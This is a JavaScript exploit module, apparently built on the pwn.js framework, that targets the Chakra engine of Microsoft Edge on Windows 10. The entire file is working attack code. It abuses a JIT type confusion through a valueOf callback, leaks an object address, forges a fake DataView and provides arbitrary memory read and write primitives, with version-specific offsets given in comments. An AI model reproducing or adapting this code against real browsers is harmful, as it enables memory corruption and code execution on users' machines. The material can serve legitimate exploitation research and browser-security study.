// IsDetached offset changes between major versions of Edge. // Windows 10 1607: 0x3C // Windows 10 1703: 0x20 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit, Integer = pwnjs.Integer, getInt8 = DataView.prototype.getInt8, getInt16 = DataView.prototype.getInt16, getInt32 = DataView.prototype.getInt32, setInt8 = DataView.prototype.setInt8, setInt16 = DataView.prototype.setInt16, setInt32 = DataView.prototype.setInt32; function Exploit() { ChakraExploit.call(this); var array_addr; var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); var arr = [1.1, 2.2]; var b = new Uint32Array(100); var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); function opt(b, f, arr) { arr[0] = 1.1; for (var i = 0; i < 100; i++) { b[i] = f; } // read object address f64[0] = arr[0]; var base_lo = i32[0], base_hi = i32[1]; // corrupt element to point to fake_object data i32[0] = base_lo + 0x58; arr[0] = f64[0]; // Construct our fake DataView // vtable fake_object[0] = 0; fake_object[1] = 0; // Type* fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; // (TypeId for fake Type object) fake_object[4] = 56; fake_object[5] = 0; // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; // Buffer size fake_object[8] = 0x200; fake_object[9] = 0; // ArrayBuffer pointer, +0x3C IsDetached fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; // Buffer address fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; array_addr = new Integer(base_lo, base_hi, true); } for (var i = 0; i < 0x10000; i++) { opt(b, 2, arr); } opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); this.dv = arr[0]; this.fake_object = fake_object; this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.read = function (address, size) { this.fake_object[14] = address.low | 0; this.fake_object[15] = address.high | 0; switch (size) { case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.fake_object[14] = address.low | 0; this.fake_object[15] = address.high | 0; switch (size) { case 8: return setInt8.call(this.dv, 0, value.low|0, true); case 16: return setInt16.call(this.dv, 0, value.low|0, true); case 32: return setInt32.call(this.dv, 0, value.low|0, true); case 64: setInt32.call(this.dv, 0, value.low|0, true); setInt32.call(this.dv, 4, value.high|0, true); } } return Exploit; })();